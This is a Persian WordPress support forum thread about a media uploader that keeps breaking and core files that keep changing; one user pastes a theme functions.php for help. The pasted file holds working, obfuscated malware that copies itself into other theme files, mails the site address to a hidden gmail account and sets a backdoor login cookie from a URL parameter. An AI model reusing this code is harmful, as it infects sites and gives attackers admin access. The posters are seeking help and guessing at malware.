• اطلاعیه ها

    • Saeed Fard

      حمایت وردپرس پارسی از همایش آینده وب و موبایل   19/04/74

        چهارم و پنجم اسفند ماه 1395، همایش آیندهٔ وب و موبایل ایران با حمایت سازمان فناوری اطلاعات در مرکز همایش‌های شهید قندی برگزار خواهد شد. این همایش یک رویداد ۲ روزه است که در آن پیشتازان صنعت وب و موبایل از تکنولوژی‌های روز دنیا در این حوزه‌ها سخن می‌گویند به طوری که این همایش پنجره‌ای به چشم‌انداز آینده‌ٔ وب و موبایل در جهان، و همچنین راهنمایی برای تصمیم‌گیران، تصمیم‌سازان و متخصصان ایرانی است.   فرصت‌هایی که FOWM#  برای شما خلق خواهد کرد: آشنایی با تکنولوژی‌های آینده‌ساز وب و موبایل شرکت در مباحث چالشی درباره وب و موبایل ارتباط و شبکه‌سازی با “قله‌های وب و موبایل” موقعیت‌های کاری، هم‌تیمی‌های جدید دریافت گواهی شرکت در همایش دو روز به‌یادماندنی سرشار از شگفتی   شرکت‌کنندگان در این همایش ضمن آشنایی با فناوری‌های آینده‌ساز وب و موبایل، شرکت در مباحث چالشی و ارتباط با بزرگان وب و موبایل ایران، می‌توانند موقعیت‌های کاری و هم‌تیمی‌های جدید برای کسب‌وکار خود بیابند. این همایش برای طراحان و توسعه‌دهندگان وب‌سایت و موبایل، مدیران ارشد سازمان‌ها، صاحبان کسب‌وکارهای کوچک و متوسط، دانشجویان و علاقه‌مندان دارای نکات آموزشی و جذاب خواهد بود.   مجید علوی‌زاده، دبیر همایش آیندهٔ وب و موبایل که سابقه اجرای چند همایش و سمینار مرتبط را دارد، اعلام کرد: جمعی از بهترین‌ها و پیشروان این دو حوزه در ایران با ارائه‌های تخصصی خود، چشم‌انداز آینده این صنعت‌ها را به شرکت‌کنندگان عرضه خواهند کرد.   در هر یک از روزهای برگزاری همایش، یک پنل تخصصی در مورد یکی از موضوع‌های مهم این حوزه نیز برگزار خواهد شد و دست‌اندرکاران به بحث و تبادل نظر خواهند پرداخت و در پایان، به شرکت‌کنندگان گواهی حضور در همایش اعطا خواهد شد.   ثبت نام در مهمترین رویداد صنعت وب و موبایل ایران تا پایان بهمن ماه ۹۵ امکان پذیر خواهد بود، برای ثبت نام و یا کسب اطلاعات بیشتر در خصوص این رویداد و آشنایی با موضوعات و سخنرانان به آدرس http://conf.wsschool.org/fowm مراجعه نمایید.   کاربران وردپرس پارسی می‌توانند با استفاده از کد wp-parsi از مبلغ ۴۰ هزار تومان تخفیف در ثبت نام برخوردار شوند.
silver21

مشکل بخش آپلود Insert Media

16 پست در این موضوع قرار دارد

تغییری در ساختار سایت ندادم ؛ یک ساعت پیش بدون مشکل یه مطلب ارسال کردم ولی حدود 10 دقیقه پیش زمان ارسال مطلب جدید بخش آپلود تصاویر از کار افتاده و اجازه آپلود نمیده. خبر منتشر میشه ولی آپلود کار نمیکنه و اخطار میده که مجددا سعی کنید.

1.

post-1826-0-28259500-1380539816_thumb.jp

2.

post-1826-0-41344500-1380539832_thumb.jp

حتی فایل آپلود رو تغییر دادم ولی مثل تصویر اخطار میده ؛ سطح دسترسی پوشه آپلود رو هم چک کردم 755 رو روی 777 گذاشتم ؛ نتیجه ای نداد.

ویرایش شده در توسط silver21

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

یه چیزی فهمیدم ؛ آپلود انجام میشه منتهی نمایش داده نمیشه (موارد آپلودی در بخش رسانه وجود داره) ظاهرا در صفحه آپلود دیده نمیشه و چیز دیگه ای که فهمیدم ، داخل سایت یکسری ستاره امتیاز دهی وجود داره که با حرکت موس روشن میشد که اون هم از کار افتاده

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

سلام

این مشکل ظاهرا توی نسخه جدید هست برای خودم هم دوبار پیش اومده

راه‌حلی هم که خودم استفاده کردم این بود که وردپرس رو به جزء فایل کانتنت دوباره روی فایل‌های قبلی بارگذاری کردم و مشکل حل شد ...

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

این مشکل ظاهرا مشکلی هست بی پاسخ؛ تایپیک قدیم منو ببینید که هم نسخه قبل و هم یکی قبلتر هم این مشکلو داشت

ویرایش شده در توسط silver21

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

هر مرضی که داشت از فولدر wp-includes بود.

جواب:

دوستانی که بک آپ از سایت دارن کافی فولدر wp-includes رو پاک کنن و بک آپ رو جایگزین کنند.

دوستانی هم که بک آپ ندارن ، چون کم پیش میاد یا اصلا پیش نمیاد که تغییری تو فولدر wp-includes انجام بدن ، این پوشه رو پاک کنن و از نسخه اولیه فولدرشو بردارن و جایگزین کنن.

ویرایش شده در توسط silver21

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

وقتی 24 ساعت میگذره مجددا این مشکل بوجود میاد ، دقیقتر بگم بعد از آزمون خطا گرفتن متوجه شدم مشکل از پوشه wp-includes و فایل functions.php هست ؛ تا الان 2روزه که این فایلو کپی میکنم ولی روز بعد دوباره مشکل پیدا می کنه و به حجمش هم اضافه میشه ، یکسری مقادیر جدید واردش میشه ! دیگه داره میره رو اعصابم.

ویرایش شده در توسط silver21

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

ممنون از Silver21 عزیز بابت ایجاد و پیگیری تاپیک .

منم در سایتم به این مشکل برخوردم و در نت خیلی سرچ کردم که همشون گفته بودند آپدیت دستی انجام بدید که این کار را با جایگزین کردن تمام پوشه ها به جز کانفیگ و wp-content انجام دادم .

همانطوری که دوستمون اشاره کردند اول حل شد ولی بعد از 24 ساعت مجدد بر میگرده به حالت اول و همون خطا رو میده

واقعاً موندم چیکار کنم هرچی تاپیک بود تو نت خوندم و به نتیجه نرسیدم .

نتیجه اعتماد به وردپرس اینه ؟

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

یه حدسایی به ذهن دارم ، منتهی باید هر بار 24 ساعت صبر کنم ببینم نتیجه میده یا نه که نتیجه داد اینجا قرار میدم ( مشکلات xml ) از چی بوده؛ دلیل اینکه مدیرا پاسخی نمیدنم ...

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

دلیل اینکه مدیرا پاسخی نمیدنم ...

چون اصلا همچین خطایی رو ندیدیم که بخوایم برای رفعش راهنمایی کنیم.

ماشاله همه کانفیگ های سرورهای ایران هم که استاندارد خاصی پیروی میکنن و شبیه به هم هستن!

بنده به شخصه همچین مشکلی تا الان نداشتم

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

مرتضی جان این مساله به کانفیگ سرور مربوط نیست که اگر هست شما بفرمایید از چه موردی هست تا من در سرور چک کنم . این مشکل از ضعف وردپرس هست .

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

من با یکی از پوسته هایی که فارسی کرده بودم این مشکل رو داشتم منتها در لوکال هاست این مشکل وجود نداشت ولی در سرور و هاست آنلاین این مشکل وجود داشت

بعد از کلی کلنجار رفتن فهمیدم مشکل از توابع پوسته بوده و با اطلاح کردن فایل فانکشن مشکل رفع شد

شما فایل فانکشن پوسته خودتون رو قرار بدید تا برسی بشه به احتمال زیاد مشکل از همینه

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

شما فایل فانکشن پوسته خودتون رو قرار بدید تا برسی بشه به احتمال زیاد مشکل از همینه

ممنون میشم فایل فانکشن بنده روهم یه بررسی بکنید

مشکلی مشابه ایشون دارم

Function.php

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

ممنون میشم فایل فانکشن بنده روهم یه بررسی بکنید

مشکلی مشابه ایشون دارم

دوست عزیز مشکل از این توابع هستش وقتی این توابع رو حذف میکنم مشکل رفع میشه

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n\t\r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

if ( function_exists('register_sidebar') )

register_sidebar(array(

'before_widget' => '',

'after_widget' => '</div><div class="wfo"></div>',

'before_title' => '<div class="wtop">',

'after_title' => '</div><div class="wco">',

));

function my_function_admin_bar(){

return false;

}

add_filter( 'show_admin_bar' , 'my_function_admin_bar'); ?>

از اساتید کسی میدونه این توابع برای چی هستن ؟؟

ویرایش شده در توسط Morteza

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

هر تابع اضافه ای که توی فانکشن وجود داره یا بعدا اتوماتیک اضافه میشه رو پاک کنید و دسترسی فایل فانکشن رو پایین بزارید تا دیگه قابل نوشتن نباشه.

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

یک سوال من اصلا با فولدر wp-content و محتویات اون کاری ندارم و بقیه مواردو همشونو از بک آپی که یک ماه پیش داشتم جایگزین میکنم و مشکل برطرف میشه ولی 24 ساعت بعد دوباره به حالت اول برمیگرده ؛ فانکشن درون فولدر wp-includes تغییر حجم میده و حتی قبلا فقط با جایگزین کردن این فایل سایت درست میشد ؛ درحال حاضر باید کل محتویات ( بجز فولدر wp-content ) رو جایگزین کنم تا درست بشه ولی باز هم 24 ساعت نشده به حالت قبل برمیگرده.

سطح دسترسی رو 644 بود گذاشتم 444 باز فایلش تغییر کرد- بخشایی رو با فانکشن قبلی مقایسه کردم دیدم یکسری موارد یک لاین جلو رفته - فانکشنی که در حال حاضر باهاش سایت با مشکل مواجه هستو میذارم : (از فولدر فولدر wp-includes)

functions.php

ویرایش شده در توسط silver21

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

دوست عزیز مشکل از این توابع هستش وقتی این توابع رو حذف میکنم مشکل رفع میشه

از اساتید کسی میدونه این توابع برای چی هستن ؟؟

احتمالا بدافزار روی سرور هست

اگر میتونید وردپرس رو حذف و بعد نصب دستی کنید (بکآپ فراموش نشه)

بعضا بخاطر کدهای وردپرس قدیمی باقی میمونن. معمولای توی نصب جدید از بین میرن.

یک سوال من اصلا با فولدر wp-content و محتویات اون کاری ندارم و بقیه مواردو همشونو از بک آپی که یک ماه پیش داشتم جایگزین میکنم و مشکل برطرف میشه ولی 24 ساعت بعد دوباره به حالت اول برمیگرده ؛ فانکشن درون فولدر wp-includes تغییر حجم میده و حتی قبلا فقط با جایگزین کردن این فایل سایت درست میشد ؛ درحال حاضر باید کل محتویات ( بجز فولدر wp-content ) رو جایگزین کنم تا درست بشه ولی باز هم 24 ساعت نشده به حالت قبل برمیگرده.

سطح دسترسی رو 644 بود گذاشتم 444 باز فایلش تغییر کرد- بخشایی رو با فانکشن قبلی مقایسه کردم دیدم یکسری موارد یک لاین جلو رفته - فانکشنی که در حال حاضر باهاش سایت با مشکل مواجه هستو میذارم : (از فولدر فولدر wp-includes)

شما هاست دیگه ای دارید که این مورد رو تست کنید؟

شاید روی هسات شما هم بدافزار باشه. این مورد روبررسی کردید؟

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری